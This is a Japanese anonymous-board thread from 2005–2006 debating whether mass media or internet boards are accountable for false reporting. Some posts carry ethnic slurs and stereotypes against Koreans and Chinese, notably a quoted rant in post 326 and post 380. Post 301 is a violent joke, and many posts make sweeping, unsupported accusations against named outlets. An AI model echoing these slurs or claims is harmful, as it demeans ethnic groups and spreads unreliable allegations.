「庶民はバカだから自分たちが治めてやらないとダメだ、」
とか思い上がってる暴君や貴族に対する
革命みたいなモンだろう。
いずれマスゴミ連中も自分達が暴君だってことに気づくといいな。
257 :
くめだよ:2005/10/22(土) 17:01:16 ID:PDzHRJzL
マスコミが、独りよがりで、勝手なことやってるから、2chや、このスレが
流行ってるんじゃい。たとえば菊間、捏造の西山のことを、ろくに報道して
ないだろ。古館さん。
このスレは4月からはじまり257しか進んでないようだが。
259 :
文責・名無しさん:2005/10/25(火) 15:06:59 ID:j2iwYmOC
260 :
文責・名無しさん:2005/10/25(火) 15:20:07 ID:0LNnUQbx
大マスコミは責任を取る・・・・ハア??????????????????????????????????????
笑わせるな!
261 :
文責・名無しさん:2005/10/25(火) 17:21:47 ID:/vci8bYA
責任以前にいやしくも社会正義を口にするならまずは新聞広告を無くしてみろ。でなけりゃしょせん単なる広告媒体w
262 :
唯我独尊:2005/10/25(火) 20:10:44 ID:wP1T+2cl
263 :
文責・名無しさん:2005/10/26(水) 00:06:45 ID:qymbo84F
ここは嘘つき大会会場か?
>>1 マジレスするけど、
今日び、自民党の代議士でもそんなアカラサマに見え透いた嘘はつかんぞ?
264 :
文責・名無しさん:2005/10/26(水) 00:12:18 ID:drWrGknf
親中韓べったりの偏向捏造等、
TBSや朝日をはじめとするマスコミが 、
もはや日本人のためのメディアでは無くなって
中国人や韓国人、在日のためのメディアになっていることが
ネットで問題にされているのである。
親中韓べったりをやめたらマスコミはそれでいいですか?
ほんとですか?それで日本人のためのメディアになるとでも?
ならないでしょう。マスコミマスコミの中の人にものでしかないからね。
>265
つまり、視聴者、購読者にとって意味のないものなんですね、マスゴミってのは。
親中韓べったりの偏向捏造→情報媒体としての信用の低下
→広告媒体としての効力低下→収入の減少→業界の衰退
一旦、崩壊寸前ぐらいにまで、業界が衰退すればいいんですよ。
267 :
文責・名無しさん:2005/10/26(水) 06:57:04 ID:Tb8I5k9Z
>>266 それが理想だが、それには国民のリテラシーがもっと高くならなければならず、
それは一朝一夕にはいかない。
あるあるやおもいっきりで○○が健康にイイ!といって、
翌日スーパーでそれが売り切れになってるような状況じゃ終わってるわけですよ。
ネット世論はじめ、こういった場所での草の根運動がもっと広まること、
遠回りなようだが、それしかないんだろうね。
漏れ個人的には、ことあるごとに家族にそういう話を少しずつさりげなく振ってるんだけど。
身近なところから少しずつ広めていくしかないと思います。
269 :
文責・名無しさん:2005/10/26(水) 10:59:26 ID:Wh44uhK3
270 :
文責・名無しさん:2005/10/28(金) 18:11:32 ID:kXahZIWp
マスコミはそろそろ建前を捨て正直にならないといけない。
・公正な報道は不可能。
・マスコミはすべてを報道してるわけではない。
まずこの2点ぐらいはね。
まずマスコミがマスコミの現実を認め報道とはそういうものだ。
との認識を一般に向け常識とすること。
一方情報を受ける側はリテラシーを向上させること。
271 :
文責・名無しさん:2005/10/28(金) 18:37:21 ID:T0hIUhSp
>>270 おいおいw
そんなこと普通の大人なら誰でも分かってるよ。
今までマスコミは公正で真実を全て報道するものだと思い込んでいた
厨房が勝手に裏切られて吼えてるってのがバレバレ。
しょせん2ちゃんってそんなものが大半なんだよな。
メディアの偏向をネットが暴いたんじゃなくて、厨房がネットで少し賢く
なっただけ。
普通の高学歴でマトモな社会人になればネット見なくても分かることだよ。
それをネットの力だというの恥ずかしいことだw
ネットにもいいところはいっぱいあるけど、お前の上げた2点はネットの力
じゃないからねw
272 :
文責・名無しさん:2005/10/28(金) 18:45:10 ID:PCF6t5Q7
>>271 理解してないですね。
マスコミ自身がマスコミは公正ではないと認めることを言ってるわけ。
受け手がそれをしってるかどうかなんて話をしてない。
273 :
文責・名無しさん:2005/10/28(金) 18:48:00 ID:FeHgQ3t0
>>271 それから人のカキコミの趣旨を
理解できない人にリテラシーがあるとも思えないが。w
274 :
文責・名無しさん:2005/10/28(金) 19:05:19 ID:T0hIUhSp
>>272 マスコミには主義主張があるんだよ。そんなこと分かってて報道してるわけ。
そういう意味ではお前のいう「不公正」であることは自覚してると思うよ。
テレビは限られた電波を使ってるから公平性が求められるけどそれでも
機械のように公正なわけじゃない。
さらに新聞・雑誌になればオピニオン色が強くなる。
もともとそういうものだから、限度を超えない限り「不公正」ではないんだよ。
家永裁判と新しい歴史教科書で検定に対する朝日の論調が変わるのは一貫した
主義主張だろ?
論理的には矛盾してるとは思うが、そういいう場合、論理矛盾なんか指摘してもしょうがない
んだよ。
本当に厨房だったのか?w
275 :
文責・名無しさん:2005/10/28(金) 19:09:09 ID:Mxw1vTBV
責任を取るシステムは確かにある。
ただ、それがきちんと機能してるかと言うと・・・
>>274 それからあなたは知らないようだが
>マスコミは公正で真実を全て報道するものだと思い込んでいた
とあるが
マスコミは公正で真実を報道するということで営業してもよいという許可がもらえてるわけで。
この前提を重要なことなんですよ。
それによりテレビ局はこれに違反した場合は処分をうけなきゃいけないし
実際にうけてる。今年でも何社かのテレビ局が行政から注意をされているね。
277 :
文責・名無しさん:2005/10/28(金) 20:23:39 ID:gMDClBHr
>274
つーか、不良品や公害を平気な垂れ流している馬鹿業界に文句言っているだけですよ。
なにか勘違いしてないか?
278 :
文責・名無しさん:2005/10/28(金) 21:18:02 ID:T0hIUhSp
>>277 なにを不良品だといってるのかしらないが
形式的には矛盾していたり、都合の悪い情報はあまりださなかったり
反対意見を一端持ち上げて、こき下ろすていどでは
不公正とはいえないよ。もともとメディアのもってる本質の範囲内のことだからね。
お子様みたいな崇高な公平を求めてるならそれは違うということをいってるだけで
そうじゃないと分かってるならいいんじゃない?
ただ
>>270 はそれがよくわかってないみたいだけどw
君は分かってるなら関係ないよ。
279 :
文責・名無しさん:2005/10/28(金) 21:34:45 ID:NDBBScz6
責任をとるなら新聞、雑誌とも記者は文責名をきちんと書け。
テレビではカメラマンと取材者の名をフリップで流せ。
匿名報道をするな。
これが実現されただけでゴミが減る。
280 :
文責・名無しさん:2005/10/28(金) 21:51:59 ID:gMDClBHr
>278
捏造報道が不良品でないとでも?
食品会社なら、毒物混入と同等だが?
なんか勘違いしてますね?
281 :
文責・名無しさん:2005/10/28(金) 21:56:26 ID:dCsAM3LX
マスコミなんて煽るだけ煽って責任は取らないじゃん
282 :
文責・名無しさん:2005/10/28(金) 21:57:52 ID:vZ4TQvrB
いろんな業界を見たけど、 きたなさ ではマスコミが どべ
283 :
文責・名無しさん:2005/10/28(金) 22:29:49 ID:T0hIUhSp
朝日の捏造記者は解雇だろ。
ここで捏造カキコしたやつはなにしてくれるの?
284 :
文責・名無しさん:2005/10/29(土) 00:53:13 ID:ykS3BUMD
マスゴミは甘ったれが多いな。
2ちゃんねらーに、「お前らだって一緒だ」
みたいな論理で書いてるマスゴミがいるが、
それはマスゴミは2ちゃんねると同じだって認めてるだけ。
283は朝日の記者が解雇だからどうしたっつうんだろうな?
ごく一部がいやいやながら責任を取らされたのを
まるで全員がきちんと責任とってるように書いてるぜ。
実に甘ったれてる。
実際朝日って営利目的でやった報道の責任はきちんととっていない。
捏造記事を買わされた読者に対する損害賠償はない。
解雇で済むとはいかにも甘やかされた連中だ。
責任をとるなら新聞、雑誌とも記者は文責名をきちんと書け。
テレビではカメラマンと取材者の名をフリップで流せ。
匿名報道をするな。
それを嫌がってるのは責任をとるのが怖いからだろ。
285 :
いかくん:2005/10/29(土) 01:31:38 ID:EeXZyad9
マスコミはサラリーもらって情報を販売もしくは発信している。無償で書き込みしている2チャンネルと比較するのはおかしい。相撲とボクシングを同じ次元で比較するようなものだ。つまり1の設問がそもそもおかしい。
286 :
文責・名無しさん:2005/10/29(土) 07:04:35 ID:lLgZofui
287 :
文責・名無しさん:2005/10/29(土) 07:09:13 ID:R3vHFTEG
TBSがオウムを批判していた坂本弁護士の未公開テープをオウムに見せた
↓
しかもそのテープを見せたことをTBSは坂本弁護士に一切連絡もしなかった
そして坂本弁護士一家は行方不明になった
↓
その後TBSは坂本弁護士失踪については無視して番組でも一切報じず
↓
後日坂本弁護士一家は殺された
↓
この件を受けてTBSは"ワイドショー全廃"を宣言
↓
しかしTBSは今ワイドショーを流している
288 :
文責・名無しさん:2005/10/29(土) 09:00:38 ID:N7CzJe5j
嘘付け。責任を取らないマスゴミもあるぞ。
朝日なんかいい例だ。
ある、子ども会サークルに「子どもと遊ぶ学生サークルの記事を書きたい」
なんてことを言って取材して、いざ記事になったら
「現代の子ども、遊びも結局は大人任せ」なんていうタイトルで
現代の子どもは大人が遊びまで決めてやらないと自分たちで
遊ぶことが出来ないといった内容の記事を書いた。
取材された学生サークル側からしたら「学生でもこういうボランティア的
な活動をするサークルがあると紹介される」と認識してたので、
記事の訂正を朝日に求めたら拒絶された。結局自分たちの都合のいいよう
にしか朝日なんて記事を書かないんだ。責任取らないんだ。
その後、学生サークルは記事のせいで子ども会に所属する子ども
の親に散々文句を言われ謝罪したんだって。
289 :
文責・名無しさん:2005/10/29(土) 09:28:21 ID:fe2sOsZ2
>>1 居酒屋に来て「何で酒を出すんだ」と文句つけてるようなもんだな
290 :
文責・名無しさん:2005/10/29(土) 12:03:00 ID:3c9t3wUi
日本は法治国家であり、法律を守ることを重視しております。
ところが、ほとんど守られていない法律があるのでここに紹介します。
放送法第3条(公正の原則)の2第1項
放送事業者は、国内放送の放送番組の編集に当たっては、
次の各号の定めるところによらなければならない。
1 公安及ぴ善良な風俗を害しないこと。
2 政治的に公平であること。
3 報道は事実をまげないですること。
4 意見が対立している間題については、
できるだけ多くの角度から論点を明らかにすること。
291 :
文責・名無しさん:2005/10/29(土) 16:03:44 ID:TLjVphBh
2chは新聞で言うところの紙、放送で言うところの電波+テレビ
紙が責任とるわけないだろ。
>>1はアホか?
新聞に中立性、公平性を求めるのはナイーブすぎる気がするんだが。
たとえば、朝日新聞綱領を見ると、
一、不偏不党の地に立って言論の自由を貫き、
民主国家の完成と世界平和の確立に寄与す
と記してあるけど、「Aを貫き、Bに寄与す」なんだから、主は「Bに寄与す」の方。
彼らの確立したい民主国家や世界平和がアレなんであれば、Aの不偏不党や
言論の自由に恣意的な(彼らのオピニオン)が入るのはご自由にって事。
まあ、チラシの多い聖教新聞や赤旗だと思えば良いのよ。
293 :
文責・名無しさん:2005/10/31(月) 00:04:25 ID:FAaAGHJi
そもそも報道自体に当事者の主観が入るし
また放送局や新聞社だって株式会社で営利団体である以上、
客観性とか公平性とか言うのがおかしい、という意見には同意。
しかし、日頃マスコミは公共性だの不偏不党だの標榜してるよな
ここに根本から大いなる矛盾があるわけで
294 :
文責・名無しさん:2005/10/31(月) 00:12:40 ID:/vrn8Cy2
NHK・朝日問題で、朝日は責任とったの?www
>>293 プロレスが、ブックがバレているのにかかわらず「格闘技」と名乗っているからいけないのであって
最初から「ショー」だと名乗っていれば問題はない、ということでしょうか。
そういう意味では実態に合わせて名称を変更するのは必要かもしれませんね。
[報道番組] →[ワイドショー]
[評論家] →[たいこもち]
[独占取材] →[シナリオ]
[街の声] →[仕込み]
など
>295
東京スポーツに怒る人は少ないしね。
ただ、TV・ラジオは電波法の管理下の元で国民の共有財である帯域を
占有してる事を忘れて恣意的にやられたんじゃかなわない。
297 :
文責・名無しさん:2005/10/31(月) 01:51:36 ID:HF/QYzUv
語弊を恐れずに言えば、ネットは何でも有りだからこそ価値がある
マスコミが書けない、書かない情報がここに有るという事
出入り自由のネットに嘘情報、糞情報があるのは仕方ない
玉石混交の山から一粒の玉を見つけ出すには知性も必要
出版、放送の堕落によりネット上の「玉」情報の価値が相対的に上がっている
>>1 >アメリカのブログはダン・ラザーを辞任させた
>日本のブログや2ちゃんねるにはそんな力はない
日本のマスコミがネット上で批判されても聞く耳持ってない、
とも言えないか?
ブログがダン・ラザーを辞任させるって言っても
ブロガー達にテレビのキャスターの人事権は無いんだし
米CBSテレビとダン・ラザー本人がキャスターを続けることは
体裁が悪いと思ったから辞任となったんだろ。
300 :
文責・名無しさん:2005/11/10(木) 13:21:48 ID:BX4te+il
>>299 少なくともアメリカのジャーナリストより嘘つきで厚顔無恥が多いね
301 :
文責・名無しさん:2005/11/10(木) 13:23:44 ID:z3cAd6dC
女の子を殺して責任をとったことにすると言うのは、間違ってる
責任者全員の指を瓶につめて送りな
302 :
文責・名無しさん:2005/11/14(月) 22:55:40 ID:awg1ApbA
☆☆医療業界には談合が付き物★★
医療業界における談合の事実。
公的な病院において、医療機器を購入する場合は形式上はどこも入札制度になっている。
が、実態は異なる。
日本全国、ほぼどこの病院でも○○課は○○器械などと診療科目ごとにディラーが暗黙の了解のもと
決まっていて、それは公的病院でも例外ではない。
それが病院側と業者の癒着の温床の源にもなっている。
医療機器にはMRI、CT、エコー、レントゲン等多種に及ぶが、ことさら内視鏡分野
ではほぼ100%談合が行われている。
購入の話しが持ち上がった時点で、メーカー主導で病院ごとに決められた販売店に
「販売権利」を与える。
実際に入札が始まると「価格維持」のため談合が始まる。
決められたディラー以外はそれより高く見積もるのだ。
メーカーは値崩れせぬよう、全国の納入実績を常に把握している。
決して最低納入価を崩さぬよう、ディラーにも指示する。
この慣習は長く現場で行われてきた。
実際にこれにメスをいれると、倒産する医療ディラーが多発するだろう。
メーカーにも逮捕者が出るのは避けられないであろう。
しかし、公的病院の機器購入には税金が使われるのだ。
303 :
文責・名無しさん:2005/11/26(土) 21:15:59 ID:1KldNPmI
筑紫がまた嘘流したね
304 :
文責・名無しさん:2005/11/27(日) 15:23:23 ID:ivWNn6Aj
155 :名無しさん :2005/11/17(木) 23:48 ID:ehor3wu
折れ、折ンパスっていう会社の営業。医療の方ね。
今、明日提出する公立病院の○○書いてます。
ホントはこんなの病院の先生が書かないとダメなんだけど、昔からの慣習でうちがやってます。
まだ今夜中にうちの取り扱い販売店の納入先見込み表を作成しないといけません。
どこの販売店でどこの病院のどんな器械の売り上げ見込みがあるとか。
これを誤ると、入札のとき別の販売店にいわゆる「下をくぐられる」。
そうなったら大変な揉め事になるからね。
でも今夜はアタマが回りません。
先月は実質休めたのは5日だけ。
土日はタカリの医者どもの○○会とかに、かり出されっぱなし。
平日も無償で病院の○○室の立会いだらけ。
馬が屁をこくが如くしょっちゅう
「今度症例があるからあの○○貸してくれ」とか。
いい加減勘弁して欲しいよ。
305 :
文責・名無しさん:2005/12/09(金) 21:43:32 ID:KiVrCAt+
今朝のどこかの番組で
「国から委託を受けている民間の建築検査機関が所詮『株式会社』である以上、
営利目的で活動するわけで、商売上のコスト意識や競争が働き、
建築に関する公共性や公正性が犠牲になりがちなのは避けられない。
そんな民間会社・株式会社に国の事業を委託するこんなシステムは
問題あるんじゃないか云々。。」
というような趣旨の発言を誰かがしていたっけ。
言ってて自分で気持ち悪くならないのかなー。
306 :
文責・名無しさん:2005/12/19(月) 00:12:48 ID:+wyvauFM
要するに朝日は嘘つきってことだな
307 :
文責・名無しさん:2006/01/05(木) 15:23:07 ID:7rZkVMQi
308 :
文責・名無しさん:2006/01/14(土) 13:55:19 ID:Wbsnr69r
309 :
文責・名無しさん:2006/01/15(日) 00:51:16 ID:vaXmWvpx
>>34 ヤバイかなーと思いつつやってみたら、危うく学校からフシアナサンするところだったジャマイカ
書き込み確認画面に助けられた
310 :
文責・名無しさん:2006/01/27(金) 20:17:32 ID:TmCUBPNU
311 :
文責・名無しさん:2006/01/27(金) 20:24:10 ID:wZhbu1Q+
マスコミは真実を流すものとして見られてきたから、
そのの言うことは多くの人が信じてしまう。
だからその責任は大きい。
一方ブログや掲示板は近所の噂話が全国規模になったに過ぎない。
その情報の正否は各人が判断できる。
312 :
文責・名無しさん:2006/01/27(金) 20:36:53 ID:TKpL7t0q
マスコミを見習ってカキコにクレームついたら別フレームで陳謝の文面をサラっと表示するだけでいいんじゃないの?
313 :
文責・名無しさん:2006/02/05(日) 01:47:11 ID:5pK38kbp
314 :
文責・名無しさん:2006/02/19(日) 13:33:46 ID:1men0HMP
315 :
文責・名無しさん:2006/02/19(日) 14:03:56 ID:5cRD5v9/
本当に公平で本当に中立なら、そのメディア機関は各メディアに二つ以上いらねえだろ。
公平とは、その各放送局にとっての公平でしかない。
自由も中立も同じ・・・
それをわかって見ていれば、嘘かどうかだけじゃなく、
どういう立場で言ってるのかもわかってくる。
で、マスコミの情報は事実であって真実ではないことがわかってくる。
真実は人の数だけある。事実は一つしかない。
316 :
文責・名無しさん:2006/02/19(日) 19:45:17 ID:Q6rpvSC5
>>315 同意。伝える人間が人間である以上主観を完全に排除することなんてできない。
「100%完璧な公正中立」なぞ原理的に不可能ちゅーことやな。
要は国民のリテラシーが大事と言うこと。
それを鍛えるのに格好の教材が2ちゃんはじめインターネットなんだけどな。
だからマスコミ関係者など「情報を牛耳る既得権益」の連中は
ネットを叩くんだよ。
>>1 たしかにその通りだけど、“責任”があるから言えない(書けない)
ことも沢山あるようだね。
318 :
文責・名無しさん:2006/02/19(日) 19:59:55 ID:a5OTR+nl
ライブドアの野口氏他殺事件においてマスコミは嘘情報を流し続けてる。
そんなマスコミに言われる筋合いは無い。
319 :
文責・名無しさん:2006/02/19(日) 20:25:01 ID:QzmTOcN9
>>1 2ちゃんなんて普通の世間話と大して変わらん。
320 :
文責・名無しさん:2006/02/20(月) 00:08:11 ID:xm5a70VO
>>316 あとは、新聞にしても複数とることをお薦めする。
ネットにしても同じで、いくつものニュースサイトを見てみるといい。
テレビも、ラジオも。
インターネットも立派なメディアだ。
まずたくさん見ることですることで事実が見える。
共通点が事実と見ていい。
で、あとは真実だが、これがそれぞれ違う。
それぞれが取捨選択すればいいだけ。
その判断を数限りなく、気が遠くなるくらいたくさんの出来事に対してしていくことになるが、
これが現代において、メディアに流されない生き方。
321 :
文責・名無しさん:2006/02/20(月) 05:32:44 ID:70zvD7Kh
>319
専門家も素人も渾然となった世間話だけどな
まぁ下世話な井戸端会議よりもマスゴミは下衆で無能で人間の屑だということだ
322 :
文責・名無しさん:2006/02/20(月) 06:57:15 ID:hp9u6Tyz
>>320 新聞を複数取る金と同じ情報を複数見る時間はないわけだが
>>322 そういう努力をしない奴は一生大本営発表だけ聞いて提灯行列でもやってれば?
324 :
文責・名無しさん:2006/02/21(火) 06:26:08 ID:Hhi7f/9Y
>323
捏造しかしない報道機関から切っていけば良いじゃないか
馬鹿にやる金少なくするのも市場の正常化の方法だと思う
無駄に馬鹿業界に金捨てることもあるまいよ
325 :
文責・名無しさん:2006/03/09(木) 16:15:33 ID:jzZjQ2V+
326 :
文責・名無しさん:2006/03/09(木) 16:30:29 ID:KiyqhwyZ
69 名前:警戒民 投稿日:2006/03/09(木) 08:56:59 ID:ibwWx6kf
昨日、兄貴が婚約者を連れてきた。
初めて会う人なんであいさつしたら、その女、おもいっきり名字が線対称なんだよな、ヤバクネ?
そこで引きまくったからそれ以上何も聞けなかったけど、ゼッテー韓国だよな。
うちのババアも美人とかいってるけどアレはチョソ顔、パチンコと犯罪やる顔だよ。
漏れもニートで家でゲームばっかやってっから、兄貴とは話は最近してないけど
ちゃんと気を付けろって言ってやったほうがいいかもな。
もっとも俺はこの結婚自体を破棄したい、つかウチの家計をチョソで汚染したくない。
それにアイツラの親戚の韓国人連中とかって、図々しく押し掛けて土地登記とか書き替えるんだろ?
何とかならないだろうか。マジでうぜ。兄貴に注意したいよ、本当に。
327 :
ネットサバイバー:2006/03/09(木) 22:17:58 ID:7Jpbgi9e
責任を取ったマトモなのマスコミを見たことないのだが
太平洋戦争が終わった時に誰も責任を取らなかったあたりからおかしくなってるよな。
少なくともあの時点で全国区メディアであった朝日、毎日、NHKは
責任を取らせて完全に潰しておかなければならなかった。
329 :
文責・名無しさん:2006/03/17(金) 19:20:56 ID:GJwIAxyw
朝日って全然責任取らないよな
330 :
文責・名無しさん:2006/03/17(金) 20:58:24 ID:HueNVPY+
>>329 責任なんて人には求めても自分たちでは取る気皆無だし。<朝日
331 :
文責・名無しさん:2006/03/17(金) 21:07:14 ID:ma4cpJxX
人間っていうか、日本人としての常識とはってことをかけらも考えてないから、
そもそも、ものを言うことすらできないと思うんだが。
332 :
文責・名無しさん:2006/03/17(金) 23:21:37 ID:8EjqhtnK
従軍慰安婦やら南京大虐殺やらで、捏造して害悪まき散らした朝日新聞は責任取りました…?
333 :
文責・名無しさん:2006/03/18(土) 10:48:12 ID:i6nmTMdo
>332
朝日新聞においてある辞書には「責任」の2文字は他社に対してのみ使用すると明記されているのです
他の新聞社や放送局の辞書にも似たような記載があるそうです
334 :
文責・名無しさん:2006/03/27(月) 15:30:45 ID:24mJICTL
335 :
文責・名無しさん:2006/04/11(火) 18:57:41 ID:kve7mZb6
朝日は自分の責任にはほおかむり
大体掲示板サイトは新聞でもワイドショーじゃないし。
不特定多数の人間が意見を述べてまとまってないのに誰が誰に対して責任を取るんだ?
管理人は右にも左にも寄ってる様子はないし。2ちゃんねるはああだこうだ、という意見は的外れ
ん?大手メディアが責任を取ったの?いつ?
「だがちょっと待ってほしい」とか名言使って
論点すり替えてグダグダ言ってるだけじゃねえの?
取ったことなんてあるわけないじゃん。
もしマスコミがまじめに責任を取るような奴らなら現在の新聞社は
昭和20年にあぼーんしてなければいけない。
のうのうと現在まで生き残ってるってことは、自明の理。
339 :
文責・名無しさん:2006/04/21(金) 13:46:21 ID:NoIr/JpB
340 :
文責・名無しさん:2006/05/13(土) 23:26:23 ID:PX/QyCfM
朝日信者の常套句だな
マスコミは金取ってる。
ブログや2chのカキコは金取ってるわけじゃない。
同等の責任が発生すると考えるほうがおかしい。
342 :
文責・名無しさん:2006/05/13(土) 23:48:28 ID:nKLxvfQ0
>>341 しかも金とってる側が責任とってるところなぞ、ただの一度も見たことが無いし。
343 :
文責・名無しさん:2006/05/14(日) 07:57:19 ID:2SMdaLFX
>342
犯罪予告した馬鹿が捕まっている分、2chのカキコの方が責任あるのかもしれん
344 :
文責・名無しさん:2006/05/14(日) 09:21:34 ID:/+zbmtsC
345 :
文責・名無しさん:2006/05/19(金) 15:08:19 ID:F0Glcugf
ノリミツオニシとか全然責任取らないジャン
346 :
文責・名無しさん:2006/05/19(金) 17:21:39 ID:4J8xOKsp
誰か大金持ちの暇人で、ネット住人のパトロンになってくれる酔狂な人がいればね
ネットでも責任もつ人でてくるよ
色のない情報を出す人もでてくんじゃね?そりゃ対価として金もらわなきゃ責任はとらねーわな
347 :
文責・名無しさん:2006/05/31(水) 17:08:37 ID:XLYKprku
348 :
文責・名無しさん:2006/06/09(金) 13:47:29 ID:cGApVpCM
>>1 炭 谷 の 実 名 報 道 & 謝 罪 マ ダ ー ?
350 :
文責・名無しさん:2006/06/26(月) 13:18:40 ID:k23oNMk/
きっこも責任取ってないな
351 :
ななしじゃなし:2006/06/26(月) 13:19:00 ID:m3leuc80
352 :
文責・名無しさん:2006/07/16(日) 19:42:02 ID:q0bEYKFk
353 :
文責・名無しさん:2006/07/18(火) 08:29:16 ID:c/w2yk4w
増すゴミはパチ屋とサラ金の手先の癖にごちゃごちゃ言う名や。
真実を知りたければ2ch、ネット来たほうが委員だよ。
増すゴミのニュースなんか信用するかよ。企業もネットでスポンサー
になったら委員だよ。今時情報操作してるなんて古臭いよ。
テレビは時代遅れ。北の不正送金の大本を徹底調査報道流してから
偉そうにしろよ。パチ・皿金麦価のCMじゃ一般企業のスポンサー
ドン引きだよ。
354 :
文責・名無しさん:2006/07/18(火) 08:43:19 ID:w0ArcsjW
ネットが無かったら真実を知ることが出来ないじゃないか。
俺達が知りたいのは多くの情報の中から真実と思われる情報を
自分で選択し判断したいの。 お前等の情報操作が欲しい
わけじゃない。お前等の情報はただのパンフレット、チラシ程度なの。
355 :
文責・名無しさん:2006/07/18(火) 09:19:27 ID:qDvgssfj
マスゴミが責任を取ってると強弁するなら、
マスゴミの誤報で、会社を潰され職を失ったヒューザーの元社員達に、
再就職先の斡旋と慰謝料を払うべきじゃないか。
もちろん、チームきっこと馬渕もね。
356 :
文責・名無しさん:2006/07/18(火) 09:26:28 ID:c/w2yk4w
国民の知る権利を検閲すんなよ。
憲法で保障されてるんじゃないのかよ?
思想の自由、言論の自由、表現の自由が保障されてんじゃないのか?
真実を報道せずに情報操作ばっかしやがって。時代遅れなんだよ。
357 :
文責・名無しさん:2006/07/18(火) 11:23:02 ID:w0ArcsjW
国民の知る権利と表現、言論の自由をお前らが勝手にパチ屋、サラ金
とつるんで権利を放棄してるだろ。検閲する権利がお前等にあるのかよ。
北朝鮮とかわらないじゃないか?
国民の知る権利、言論、表現の自由を奪うな。侵略者かお前達は。
358 :
默默 :2006/07/18(火) 11:38:10 ID:24pkMBbP
ネットビジネスで成功するために必要な、ノウハウやテクニックをあなたに提供します!
359 :
文責・名無しさん:2006/07/18(火) 12:08:59 ID:w0ArcsjW
マスコミは公正で真実を報道するということで営業してもよいという許可がもらえてるわけで。
真実を伝える義務をみづからパチ、皿金の金で事実を伏せて
国民の知る権利、知らなければいけない真実を阻害してんだろうがよ。
お前達が役割を果たしてないからネットが広がるんだろうが。
ざるから漏れる水は防げないんだよ。 スポンサーもネットに変えればいいのに。
パチ・サラ金のCMと一緒に流されるとイメージさがんじゃないの。
360 :
文責・名無しさん:2006/07/18(火) 14:02:52 ID:TbshEc2e
>>359 >スポンサーもネットに変えればいいのに。
>パチ・サラ金のCMと一緒に流されるとイメージさがんじゃないの。
ある程度のスポンサードを払っておかないと、いつマスコミに叩かれるか
わからない、という側面もあるので、なかなか難しい。
ヤクザのショバ代と同じ。
361 :
文責・名無しさん:2006/07/18(火) 21:25:37 ID:w0ArcsjW
>>360 納豆食う。
でもパチと皿の間に自社のCM流れるって屈辱じゃないの?
叩かれるよりましなの?
362 :
文責・名無しさん:2006/07/18(火) 21:28:31 ID:pgrR36lH
マスコミの3大タブー、バーニング、吉本、ジャニーズ
363 :
文責・名無しさん:2006/07/19(水) 05:25:23 ID:7ZMpR2Mt
一般企業もテレビCM控えたほうが費用対効果でいいんじゃないの。
ネットのスポンサーになったほうがいいのでは。
パチとサラ金と一緒にされるよ。イメージダウンだよ。
364 :
文責・名無しさん:2006/07/19(水) 08:05:23 ID:7ZMpR2Mt
簡単に言うと貴方がたと我々では物差しも測る尺度も違う、ということです。
村上とか堀江の話聞くと貴方がたは羨ましいなー、とか思うでしょ。私達はそれほど羨ましく感じませんから。
まあ、まとまった数十億円を手にする機会は彼らのように無いでしょうけど、細く長く、貴方がたや団体から貢いでいただける金員がありますから(笑)
目先の数十億を
「刑法」
に逆らってまで手に入れるのと、100%現状の「刑法」上合法な形で、末永く、しかも安全に支給(非課税)されるのとどちらが安心ですか?って事です。
所詮投機家なんてどんなに利口ぶっても根底にあるのはギャンブラーと同じ、
「自分の勘」を実力と勘違いした連中ですからね、儲けたお金もすぐまた投機につかうでしょうし、危なくなったら「刑法上」犯罪になることをせざるを得ないわけです。
大して我々の受給する額は決して億とかって大金じゃないですからね、あくまでも「謝意」としていただいた物を自由意志で換金しているだけですし。
さらに福利厚生も充実していますし、六本木ヒルズみたいな所には住めませんが、その代わり通常民間人なら10万円の家賃が請求されるところに月1万ほどで住めています。
こんな美味しい仕事、やめる馬鹿はいませんよ、ごくたまに変わり者は居ますけどね。
繰り返しますが、貴方がたと我々側とでは物差し自体、尺度自体が違います。
ですが、我々は捕まえる側です、捕まるわけないじゃないですか(笑)
これ早く報道したら。何でパチと完了との関係は報道しないのかなー
365 :
文責・名無しさん:2006/07/19(水) 08:27:36 ID:gfhMhSTc
367 :
文責・名無しさん:2006/07/30(日) 15:10:04 ID:64hCjBB6
368 :
文責・名無しさん:2006/07/30(日) 15:56:40 ID:cxc58xr+
>>367 なんか新聞記者供が何を考えてあの高慢かつ傲慢な態度を取っているか良く解るコメントですね。
特に市井のブロガーに対する特権意識から来る差別的な憎悪は反吐が出るレベルだ。
ホントに徹底的に懲らしめてやらないといけない最低の連中なんだと改めて確認できたよ。
369 :
文責・名無しさん:2006/07/30(日) 16:00:44 ID:74hpHwdp
ん?
毎日朝から晩まで垂れ流していた愛染蔵のクレジット被害の責任取りました?
高利貸による不当利得による自殺者などへの責任は?
370 :
文責・名無しさん:2006/07/30(日) 16:09:48 ID:v/NuTH8r
マスコミは最低だよ。注目されて金になれば後の事ぁ知ったこっちゃない
のがマスコミ。今回誘拐された池田美容外科の娘だって、母親の優子って医者
は技術は劣ってるのにマスコミ受けするから、カリスマに仕立て上げられた。
織田無道なんて、無頼の輩を持ち上げたのもマスコミ、そして今は細木数子
や亀田兄弟だ。テレビってのはほんと視聴率さえ取れればなんでもいいんだ、
影響を受ける人の事なんか考えてない、最低だよ。
371 :
文責・名無しさん:2006/08/17(木) 08:18:01 ID:pnUet5ZY
372 :
文責・名無しさん:2006/08/17(木) 09:27:17 ID:iGMCg9vl
全ての面でネットがマスコミより良いとは思っていない
ネットが良いのはマスゴミみたいにタブーや言論統制が無いとこ
373 :
文責・名無しさん:2006/08/17(木) 12:10:03 ID:txv/FuG2
374 :
文責・名無しさん:2006/08/20(日) 23:39:57 ID:3yhm422S
>>1 まるでマスコミは誤報をしたら腹を切るのに2chは…と、でも言いたげだな。
誤報したって自局のニュース番組で1分程お詫びしてオシマイじゃないか
そんなんで済むなら2chでお詫びスレ立てるさ、それでいいんだろ?
375 :
文責・名無しさん:2006/08/20(日) 23:59:34 ID:thp5CYAA
誤報で損害を与えた人に賠償を
一度でもしたことがあったであろうかw
376 :
文責・名無しさん:2006/09/08(金) 09:33:00 ID:Ffn1IVVj
377 :
文責・名無しさん:2006/09/08(金) 15:47:39 ID:w2SoW7zz
それで食ってるんだから当たり前。
2ちゃんのカキコで食ってるやつもいるかも、だけどねw
378 :
文責・名無しさん:2006/09/17(日) 00:16:19 ID:F17xRhPR
379 :
文責・名無しさん:2006/10/05(木) 19:55:05 ID:DtL5yAXh
マスゴミは反省汁
>>379 それ、厨国と姦国に
「私たちは一切気にしませんから、どうぞご自由に靖国参拝してください、安倍総理」
と言わせるのより難しいぞ・・・
381 :
